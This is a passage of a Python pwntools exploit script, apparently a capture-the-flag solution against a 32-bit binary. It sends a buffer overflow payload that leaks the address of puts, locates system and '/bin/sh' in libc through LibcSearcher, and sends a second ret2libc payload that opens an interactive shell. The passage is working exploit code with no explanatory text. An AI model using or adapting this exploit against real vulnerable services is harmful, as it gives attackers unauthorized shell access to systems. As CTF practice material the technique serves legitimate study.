print("Puts_plt: ", hex(puts_plt))
offset =0x6B
payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'O.o?', payload2)
io.interactive()